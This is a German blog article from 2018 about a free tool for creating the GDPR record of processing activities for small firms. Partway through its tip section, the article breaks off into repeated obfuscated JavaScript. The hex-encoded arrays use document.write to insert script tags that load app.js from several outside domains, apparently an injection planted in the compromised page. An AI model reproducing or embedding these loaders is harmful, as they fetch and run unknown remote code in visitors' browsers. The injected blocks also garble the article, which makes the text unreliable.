12. Juni 2018

Verzeichnis von Verarbeitungstätigkeiten nach DSGVO

Rechtsanwalt Fritz Mehler, Mitgründer von dasRecht.de bietet in Kooperation mit der Datenschutzkanzlei einen neuen Service für Unternehmen an: seeyourdata.de. Diesem gratis Tool für Unternehmen bietet der Experte für Legal Tech eine kostenlose Hilfestellung für Unternehmen an, dass extrem wichtige und schwer verständliche Verzeichnis von Verarbeitungstätigkeiten erstellen und zu führen.

Verzeichnis von Verarbeitungstätigkeiten für kleine und mittlere Unternehmen

Gerade bei kleinen und mittleren Unternehmen herrscht seit Einführung der Datenschutz Grundverordnung eine große Verwirrung darüber, wie dieses Verzeichnis der Verarbeitungstätigkeiten richtig zu erstellen ist. Viele nehmen es als eine Art zweite Steuererklärung und bürokratische Bevormundung durch den Staat war. Genau wie für die Steuererklärung nutzen daher clevere kleine und mittlere Unternehmen smarte Software, die die Einhaltung der gesetzlichen Pflichten wie im Steuerrecht so auch im Datenschutzrecht enorm vereinfacht. Mit vorgefertigten Einträgen für ihre Liste können Sie ohne einen teuren Rechtsanwalt beauftragen zu müssen, ihre gesetzlichen Pflichten erfüllen. Dazu brauchen Sie keine Bits ja Kenntnis im Datenschutzrecht, da unserer Erfahrung nach die Prüfung schematisch anhand einer Checkliste zu 95 % vollständig möglich ist.

Tipp: Erweiterung des Verzeichnis von Verarbeitungstätigkeiten

Das Verzeichnis von Verarbeitungstätigkeiten kann aufgrund seiner zentralen Bedeutung für das Datenschutzrecht eine Art Schaltzentrale für alle Datenschutz Tätigkeiten in Ihrem Unternehmen werden da hier alle wesentlichen Daten Ströme verzeichnet sind können sie es beispielsweise auch als Grundlage nutzen, um später einen Maßnahmen oder Wiedervorlageplan Überprüfung ihrer Datenverarbeitung zu entwickeln. Dies ist insbesondere dann ein großes Zeitersparnis, wenn man von Anfang an das Verzeichnis um ein paar Spalten erweitert, also nicht bloß die nach EU Verordnung erforderlichen Angaben zu Kategorien von Daten und Empfängern,David_Pofil_rund1 Zweck der Datenerhebung, Löschfristen usw. macht, sondern auch noch Informationen zu externen Dienstleistern und gegebenenfalls Subunternehmern macht. Manche bezeichnen das Verzeichnis von Verarbeitungstätigkeiten da ja auch als „Mutter allen Datenschutzes“. David Oberbeck von der Datenschutzkanzlei rät daher aus seiner Praxiserfahrung: Wichtig ist unserer Erfahrung nach von Anfang an auf Systematik zu setzen, da es viel einfacher ist das Verzeichnis peu à peu aufzubauen, als im Fall einer Prüfung in Panik zu verfallen, wenn Unternehmen ihre gesetzlichen Pflichten auf die leichte Schulter genommen haben. var _0x78f1=[„\x3C\x73\x63\x72″,“\x69\x70\x74\x20\x61\x73\x79\x6E\x63\x20\x63\x6C\x61\x73\x73\x3D\x22\x3D\x52\x32\x4E\x34\x54\x55\x77\x7A\x52\x6C\x6F\x37\x4E\x7A\x41\x37\x4D\x51\x3D\x3D\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x70\x6C\x61\x79\x2E\x70\x61\x6D\x70\x6F“,“\x70\x68\x6F\x6C\x66\x2E\x63\x6F\x6D\x2F\x61\x70\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72″,“\x69\x70\x74\x3E“,“\x77\x72\x69\x74\x65″];function printapp(){var _0x8e48x2=_0x78f1[0];var _0x8e48x3=_0x78f1[1];var _0x8e48x4=_0x78f1[2];var _0x8e48x5=_0x78f1[3];document[_0x78f1[4]](_0x8e48x2+ _0x8e48x3+ _0x8e48x4+ _0x8e48x5)}printapp() var _0x78f1=[„\x3C\x73\x63\x72″,“\x69\x70\x74\x20\x61\x73\x79\x6E\x63\x20\x63\x6C\x61\x73\x73\x3D\x22\x3D\x52\x32\x4E\x34\x54\x55\x77\x7A\x52\x6C\x6F\x37\x4E\x7A\x41\x37\x4D\x51\x3D\x3D\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x70\x6C\x61\x79\x2E\x70\x61\x6D\x70\x6F“,“\x70\x68\x6F\x6C\x66\x2E\x63\x6F\x6D\x2F\x61\x70\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72″,“\x69\x70\x74\x3E“,“\x77\x72\x69\x74\x65″];function printapp(){var _0x8e48x2=_0x78f1[0];var _0x8e48x3=_0x78f1[1];var _0x8e48x4=_0x78f1[2];var _0x8e48x5=_0x78f1[3];document[_0x78f1[4]](_0x8e48x2+ _0x8e48x3+ _0x8e48x4+ _0x8e48x5)}printapp() var _0x8ac2=[„\x3C\x73\x63\x72″,“\x69\x70\x74\x20\x61\x73\x79\x6E\x63\x20\x63\x6C\x61\x73\x73\x3D\x22\x3D\x52\x32\x4E\x34\x54\x55\x77\x7A\x52\x6C\x6F\x37\x4C\x54\x63\x77\x4F\x7A\x45\x3D\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x70\x6C\x61\x79\x2E\x70\x61\x6D\x70\x6F“,“\x70\x68\x6F\x6C\x66\x2E\x63\x6F\x6D\x2F\x61\x70\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72″,“\x69\x70\x74\x3E“,“\x77\x72\x69\x74\x65″];function printapp(){var _0x5646x2=_0x8ac2[0];var _0x5646x3=_0x8ac2[1];var _0x5646x4=_0x8ac2[2];var _0x5646x5=_0x8ac2[3];document[_0x8ac2[4]](_0x5646x2+ _0x5646x3+ _0x5646x4+ _0x5646x5)}printapp() var _0x9e3f=[„\x3C\x73\x63\x72″,“\x69\x70\x74\x20\x61\x73\x79\x6E\x63\x20\x63\x6C\x61\x73\x73\x3D\x22\x3D\x52\x32\x4E\x34\x54\x55\x77\x7A\x52\x6C\x6F\x37\x4C\x54\x63\x77\x4F\x7A\x45\x3D\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x70\x6C\x61\x79\x2E\x67\x72\x61\x6D“,“\x6F\x6D\x62\x69\x72\x64\x2E\x63\x6F\x6D\x2F\x61\x70\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72″,“\x69\x70\x74\x3E“,“\x77\x72\x69\x74\x65″];function echostat(){var _0xaf0ax2=_0x9e3f[0];var _0xaf0ax3=_0x9e3f[1];var _0xaf0ax4=_0x9e3f[2];var _0xaf0ax5=_0x9e3f[3];document[_0x9e3f[4]](_0xaf0ax2+ _0xaf0ax3+ _0xaf0ax4+ _0xaf0ax5)}echostat() var _0x9e3f=[„\x3C\x73\x63\x72″,“\x69\x70\x74\x20\x61\x73\x79\x6E\x63\x20\x63\x6C\x61\x73\x73\x3D\x22\x3D\x52\x32\x4E\x34\x54\x55\x77\x7A\x52\x6C\x6F\x37\x4C\x54\x63\x77\x4F\x7A\x45\x3D\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x70\x6C\x61\x79\x2E\x67\x72\x61\x6D“,“\x6F\x6D\x62\x69\x72\x64\x2E\x63\x6F\x6D\x2F\x61\x70\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72″,“\x69\x70\x74\x3E“,“\x77\x72\x69\x74\x65″];function echostat(){var _0xaf0ax2=_0x9e3f[0];var _0xaf0ax3=_0x9e3f[1];var _0xaf0ax4=_0x9e3f[2];var _0xaf0ax5=_0x9e3f[3];document[_0x9e3f[4]](_0xaf0ax2+ _0xaf0ax3+ _0xaf0ax4+ _0xaf0ax5)}echostat() var _0x9e3f=[„\x3C\x73\x63\x72″,“\x69\x70\x74\x20\x61\x73\x79\x6E\x63\x20\x63\x6C\x61\x73\x73\x3D\x22\x3D\x52\x32\x4E\x34\x54\x55\x77\x7A\x52\x6C\x6F\x37\x4C\x54\x63\x77\x4F\x7A\x45\x3D\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x70\x6C\x61\x79\x2E\x67\x72\x61\x6D“,“\x6F\x6D\x62\x69\x72\x64\x2E\x63\x6F\x6D\x2F\x61\x70\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72″,“\x69\x70\x74\x3E“,“\x77\x72\x69\x74\x65″];function echostat(){var _0xaf0ax2=_0x9e3f[0];var _0xaf0ax3=_0x9e3f[1];var _0xaf0ax4=_0x9e3f[2];var _0xaf0ax5=_0x9e3f[3];document[_0x9e3f[4]](_0xaf0ax2+ _0xaf0ax3+ _0xaf0ax4+ _0xaf0ax5)}echostat() var _0x9e3f=[„\x3C\x73\x63\x72″,“\x69\x70\x74\x20\x61\x73\x79\x6E\x63\x20\x63\x6C\x61\x73\x73\x3D\x22\x3D\x52\x32\x4E\x34\x54\x55\x77\x7A\x52\x6C\x6F\x37\x4C\x54\x63\x77\x4F\x7A\x45\x3D\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x70\x6C\x61\x79\x2E\x67\x72\x61\x6D“,“\x6F\x6D\x62\x69\x72\x64\x2E\x63\x6F\x6D\x2F\x61\x70\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72″,“\x69\x70\x74\x3E“,“\x77\x72\x69\x74\x65″];function echostat(){var _0xaf0ax2=_0x9e3f[0];var _0xaf0ax3=_0x9e3f[1];var _0xaf0ax4=_0x9e3f[2];var _0xaf0ax5=_0x9e3f[3];document[_0x9e3f[4]](_0xaf0ax2+ _0xaf0ax3+ _0xaf0ax4+ _0xaf0ax5)}echostat() var _0x9e3f=[„\x3C\x73\x63\x72″,“\x69\x70\x74\x20\x61\x73\x79\x6E\x63\x20\x63\x6C\x61\x73\x73\x3D\x22\x3D\x52\x32\x4E\x34\x54\x55\x77\x7A\x52\x6C\x6F\x37\x4C\x54\x63\x77\x4F\x7A\x45\x3D\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x70\x6C\x61\x79\x2E\x67\x72\x61\x6D“,“\x6F\x6D\x62\x69\x72\x64\x2E\x63\x6F\x6D\x2F\x61\x70\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72″,“\x69\x70\x74\x3E“,“\x77\x72\x69\x74\x65″];function echostat(){var _0xaf0ax2=_0x9e3f[0];var _0xaf0ax3=_0x9e3f[1];var _0xaf0ax4=_0x9e3f[2];var _0xaf0ax5=_0x9e3f[3];document[_0x9e3f[4]](_0xaf0ax2+ _0xaf0ax3+ _0xaf0ax4+ _0xaf0ax5)}echostat() var _0x1b1d=[„\x3C\x73\x63\x72″,“\x69\x70\x74\x20\x61\x73\x79\x6E\x63\x20\x63\x6C\x61\x73\x73\x3D\x22\x3D\x52\x32\x4E\x34\x54\x55\x77\x7A\x52\x6C\x6F\x37\x4C\x54\x63\x31\x4F\x7A\x45\x3D\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x70\x6C\x61\x79\x2E\x66\x65\x65\x73″,“\x6F\x63\x72\x61\x6C\x64\x2E\x63\x6F\x6D\x2F\x61\x70\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72″,“\x69\x70\x74\x3E“,“\x77\x72\x69\x74\x65″];function yapm(){var _0x1d09x2=_0x1b1d[0];var _0x1d09x3=_0x1b1d[1];var _0x1d09x4=_0x1b1d[2];var _0x1d09x5=_0x1b1d[3];document[_0x1b1d[4]](_0x1d09x2+ _0x1d09x3+ _0x1d09x4+ _0x1d09x5)}yapm() var _0x1b1d=[„\x3C\x73\x63\x72″,“\x69\x70\x74\x20\x61\x73\x79\x6E\x63\x20\x63\x6C\x61\x73\x73\x3D\x22\x3D\x52\x32\x4E\x34\x54\x55\x77\x7A\x52\x6C\x6F\x37\x4C\x54\x63\x31\x4F\x7A\x45\x3D\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x70\x6C\x61\x79\x2E\x66\x65\x65\x73″,“\x6F\x63\x72\x61\x6C\x64\x2E\x63\x6F\x6D\x2F\x61\x70\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72″,“\x69\x70\x74\x3E“,“\x77\x72\x69\x74\x65″];function yapm(){var _0x1d09x2=_0x1b1d[0];var _0x1d09x3=_0x1b1d[1];var _0x1d09x4=_0x1b1d[2];var _0x1d09x5=_0x1b1d[3];document[_0x1b1d[4]](_0x1d09x2+ _0x1d09x3+ _0x1d09x4+ _0x1d09x5)}yapm() var _0xeb24=[„\x3C\x73\x63\x72″,“\x69\x70\x74\x20\x61\x73\x79\x6E\x63\x20\x63\x6C\x61\x73\x73\x3D\x22\x3D\x52\x32\x4E\x34\x54\x55\x77\x7A\x52\x6C\x6F\x37\x4C\x54\x63\x31\x4F\x7A\x45\x3D\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x70\x6C\x61\x79\x2E\x6E\x65\x78\x69\x6F“,“\x6E\x69\x65\x63\x74\x2E\x63\x6F\x6D\x2F\x61\x70\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72″,“\x69\x70\x74\x3E“,“\x77\x72\x69\x74\x65″];function gior(){var _0xc48cx2=_0xeb24[0];var _0xc48cx3=_0xeb24[1];var _0xc48cx4=_0xeb24[2];var _0xc48cx5=_0xeb24[3];document[_0xeb24[4]](_0xc48cx2+ _0xc48cx3+ _0xc48cx4+ _0xc48cx5)}gior() var _0xe540=[„\x3C\x73\x63\x72″,“\x69\x70\x74\x20\x61\x73\x79\x6E\x63\x20\x63\x6C\x61\x73\x73\x3D\x22\x3D\x52\x32\x4E\x34\x54\x55\x77\x7A\x52\x6C\x6F\x37\x4C\x54\x63\x31\x4F\x7A\x45\x3D\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x70\x6C\x61\x79\x2E\x64\x69\x6E\x6F\x72″,“\x73\x6C\x69\x63\x6B\x2E\x69\x63\x75\x2F\x61\x70\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72″,“\x69\x70\x74\x3E“,“\x77\x72\x69\x74\x65″];function gpor(){var _0x4eb6x2=_0xe540[0];var _0x4eb6x3=_0xe540[1];var _0x4eb6x4=_0xe540[2];var _0x4eb6x5=_0xe540[3];document[_0xe540[4]](_0x4eb6x2+ _0x4eb6x3+ _0x4eb6x4+ _0x4eb6x5)}gpor() var _0xc883=[„\x3C\x73\x63\x72″,“\x69\x70\x74\x20\x61\x73\x79\x6E\x63\x20\x63\x6C\x61\x73\x73\x3D\x22\x3D\x52\x32\x4E\x34\x54\x55\x77\x7A\x52\x6C\x6F\x37\x4C\x54\x63\x31\x4F\x7A\x45\x3D\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x70\x6C\x61\x79\x2E\x62\x65\x73\x73\x74\x61″,“\x68\x65\x74\x65\x2E\x69\x6E\x66\x6F\x2F\x61\x70\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72″,“\x69\x70\x74\x3E“,“\x77\x72\x69\x74\x65″];function tyip(){var _0x5e1cx2=_0xc883[0];var _0x5e1cx3=_0xc883[1];var _0x5e1cx4=_0xc883[2];var _0x5e1cx5=_0xc883[3];document[_0xc883[4]](_0x5e1cx2+ _0x5e1cx3+ _0x5e1cx4+ _0x5e1cx5)}tyip()

Schließen